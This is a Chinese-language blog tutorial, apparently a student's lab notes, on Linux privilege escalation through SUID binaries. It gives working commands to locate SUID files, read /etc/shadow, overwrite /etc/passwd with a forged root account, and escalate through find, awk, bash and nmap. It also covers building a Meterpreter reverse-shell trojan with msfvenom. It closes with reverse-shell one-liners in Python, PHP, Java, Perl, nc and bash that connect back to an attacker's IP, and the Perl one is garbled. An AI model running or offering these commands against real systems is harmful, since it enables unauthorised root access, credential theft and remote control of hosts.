热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Linux提权之suid篇

Linux提权之suid篇不知攻,焉知防一个在安服路上摸索的大三生,记录平时学习笔记suid前言:1.只有可以执行的二进制程序文件才

Linux提权之suid篇

不知攻,焉知防
一个在安服路上摸索的大三生,记录平时学习笔记


suid前言:

1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义.
2.命令执行者要对该程序文件拥有执行(x)权限.
3.命令执行者在执行该程序时获得该程序文件属主的身份.
4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效


实验环境:

kali攻击机
靶机账号 :muhammad 密码 : nasef


START:


靶机自带提权文件suid ---- 位于/home/muhammad/vuln/1 下


1)ls -al 查看文件是否可以执行

在这里插入图片描述

发现可以直接执行


2)执行得到一个交互式shell,通过使用id 及 whoami查看 是一个具有root权限的普通shell

在这里插入图片描述
Tip : uid为0代表超级管理员root 红帽企业RHEL <7.0 为0-499 > 8.0为0-1000 ;500-65535 或者1000-65535为普通用户


3)接下来可以通过反弹shell将该通道反弹给攻击机 — 本文最后介绍


其他suid提权

可供用来进行suid 提权的有find 、 nano 、 vim 、 awk 、 bash 、 less 、 nmap 、 more 、curl 、 cp 、man 、mv
通过三条命令可以查看当前可以具有suid权限的文件且拥有者为root
1)find / -perm -u=s -type f 2> /dev/null PS: /dev/null 是Linux中一个特殊的文件,理解为“黑洞”即可 (最好用,个人觉得)
2)find / -user root -perm -4000 -print 2> /dev/null
3)find / -user root -perm -4000 -exec ls -ldb {} ;
PS : -exec 选项要与 ‘;’ 相结合使用【-exec + command 、 ;为结束标志 、 \是转义 】; ’{}’ 代表前面所查找到的所有相关文件 //粗浅的自我认识 :-exec选项的作用就相当于一个管道:前面的输出作为后面的输入
在这里插入图片描述
Kip : 建议使用kali直连靶机,毕竟只是实验


(1)more 、vim 、 nano 、less 用法相似

以more为例子:
在这里插入图片描述
成功get到原本普通用户无法得到的信息,之后可以通过more /etc/shadow > 1.txt


(2)mv和cp用法一致: 覆盖/etc/shadow文件


1)通过scp命令从靶机上面下载 /etc/passwd

scp muhammad@192.168.169.140:/etc/shadow /root/Desktop


2)kali上通过OpenSSL进行密码编译 ,创建不存在账号。

openssl passwd -1 -salt magisec 123456
在这里插入图片描述
仿照muhammad账号创建:
在这里插入图片描述
其中各参数意思:
登录用户名 密码(x为安全考虑) 用户id(UID) 组ID(GID) 用户备注信息 用户家目录 用户的bash


3)想当然地继续通过scp将修改后的passwd文件替换结果发现没有权限在这里插入图片描述

能利用之前获得的root权限的sh界面进行开放http服务使用wget进行下载


4)wget http://192.169.141/passwd


5)cp命令覆盖/etc/passwd

cp passwd /etc/passwd


6)使用自己创建的账号登录,用id查看

在这里插入图片描述
发现提权成功


(3)find 提权


1)由于当前靶机没有find ,先赋予find suid权限

在这里插入图片描述


2)创建普通文件hquhqu,并输入命令 find hquhqu -exec whoami ; 发现用户变为root

在这里插入图片描述


(4)nmap 提权 :适用于版本2.02-5.21

PS :由于没有找到可以进行实验的nmap版本,纯理论讲一讲
介绍两个方法:


方法一:


1)通过nmap --interactive (或者 -i) 启动交互模式

2)!sh 执行之后得到一个提权后的shell

方法二:Metasploit exp exploit/unix/local/setuid_nmap

通过打开msf ,use 此模块后发现需要参数session 。接下来是获取session


1)木马制作

(1)通过msfvenom 制作linux木马

木马制作方法: msfvenom -l payloads | grep linux/x64/meterpreter ----- 查看可以反弹meterpreter的exp
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=本地IP lport=本机需要监听的端口 -a x64 --platform linux -f elf > 需要输出的文件名
在这里插入图片描述
制作成功!
通过scp test /home/muhammad 传到对应靶机目录 或者将该木马挂载到网站根目录,靶机再通过wget进行下载
-----------现实中是通过社工或者各种漏洞进行上传木马


(2)启动msf

service postgresql start —打开对应数据库
msfconsole —启动msf
在这里插入图片描述


(3)开始监听,得到session

Use exploit/multi/handler —使用监听模块
Set payload linux/x64/meterpreter/reverse_tcp —设置有效载荷,与木马制作时一致
Set lhost 、 lport — 设置IP和端口 : 也与木马制作时一致
Run / exploit
然后再通过靶机执行生成的木马,需要先赋予执行权限再 ./ 执行
在这里插入图片描述
在这里插入图片描述
得到session,然后background挂起之后再使用上面的模块进行攻击


(5)awk提权 :命令awk ‘BEGIN{system(“whoami”)}’

在这里插入图片描述
一通花里胡哨的操作,别问我为什么这么做,小白的世界你不懂
在这里插入图片描述再次确认是否存在该文件

在这里插入图片描述
提权成功 !


(6)Bash提权: bash -p

在这里插入图片描述


(7)Curl提权 : curl file:///etc/shadow

在这里插入图片描述


(8)man提权

在这里插入图片描述
修改完man后发现无论输入什么都会回到root用户,没明白为什么,想了一会,发现是从bash提权之后才发生的,修改bash回原来样子即可

在这里插入图片描述
虽然有个warning,但还是提权成功


存疑的一个提权:


su 【之前看到某些大佬将这一个列进去了,但自己未实现】

在这里插入图片描述
在这里插入图片描述
无法执行


反弹shell:


使用场景:

受控主机在网络内部,无法通过某些服务进行连接,该主机经常更换IP地址,导致没有办法对主机进行控制。可以使用反弹shell的操作,将主机的shell界面行反弹给攻击者,使攻击者拥有操控内网主机的权力。


python脚本反弹

python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘攻击者ip’,监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([’/bin/bash’,’-i’]);”


php脚本反弹

php -r ‘exec("/bin/bash -i >& /dev/tcp/攻击者ip/监听端口")’
php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’


java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[])
p.waitFor()


perl脚本反弹

perl -e ‘use Socket;i="ip";i="ip";i="ip";p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(p,inetaton(p,inet_aton(p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’


nc反弹

nc -t -e /bin/bash ip port


bash命令反弹

/bin/bash >& /dev/tcp/127.0.0.1/6789 0>&1


推荐阅读
  • Lunix历史及如何学习
    1.Lunix是什么1.1Lunix是操作系统还是应用程序Lunix是一套操作系统,它提供了一个完整的操作系统当中最底层的硬件控制与资源管理的完整架构, ... [详细]
  • 零入门kubernetes网络实战15>基于golang编程实现给ns网络命名空间添加额外的网卡
    《零入门kubernetes网络实战》视频专栏地址https:www.ixigua.com7193641905282875942本篇文章视频地址(稍后上传)本篇文章主要是想通过g ... [详细]
  • etc杂七杂八的配置文件etc不是什么缩写,是andsoon(等等)的意思来源于法语的etcetera翻译成中文就是等等的意思.至于为什么在etc下面存放配置文件& ... [详细]
  • 导读:今天编程笔记来给各位分享关于php动态扩展怎么加载的相关内容,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!本文目录一览: ... [详细]
  • 安全3AAuthentication:认证Authorzation:授权Accouting|Audition:审计用户管理用户:UID:0,不一定是root,root的uid非0时 ... [详细]
  • Ubuntu16.0464位安装armlinuxgcc交叉编译器以及samba服务器
    交叉编译器是嵌入式开发的必要工具,但是由于目前大多数人使用64位ubuntu,在照着很多教程做的时候,就会失败,失败原因是64位ubuntu需要额外安装32位的兼容包。以arm-l ... [详细]
  • 一个Shell变量只能够容纳一个值。这种类型的变量称为标量变量。Shell数组变量可以同时容纳多个值,它支持不同类型 ... [详细]
  • 一、域名解析记录说明记录类型A:用来指定域名的IPv4地址(如:8.8.8.8),如果需要将域名指向一个IP ... [详细]
  • 13Linux基本命令和配置服务器来电后自动开机
    本节所讲内容:Linux终端介绍Shell提示符BashShell基本语法基本命令的使用:ls、pwd、cd查看系统和BIOS硬件时间Linux如何获得 ... [详细]
  • Shell脚本统计文件行数转自http:www.jb51.netarticle61943.htm示例:row_count.sh文件awk{printNR}row_co ... [详细]
  • shell命令四剑客1.grepUnix中用于文本搜索的工具,它能够接受正则表达式和通配符。也是日常开发调试中用的最多的。用于处理每行的文本grep匹配文本通配符 ... [详细]
  • Swoole是针对PHP的生产级异步编程框架。它是一种用纯C语言编写的PHP扩展,它使PHP开发人员能够在PHP中编写高性能,可扩展的并发TCP ... [详细]
  • 从U ... [详细]
  • 本文介绍了5个基本Linux命令行工具的现代化替代品,包括du、top和ncdu。这些替代品在功能上进行了改进,提高了可用性,并且适用于现代化系统。其中,ncdu是du的替代品,它提供了与du类似的结果,但在一个基于curses的交互式界面中,重点关注占用磁盘空间较多的目录。 ... [详细]
  • ZABBIX 3.0 配置监控NGINX性能【OK】
    1.在agent端查看配置:nginx-V查看编辑时是否加入状态监控模块:--with-http_stub_status_module--with-http_gzip_stat ... [详细]
author-avatar
手机用户2702932960
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有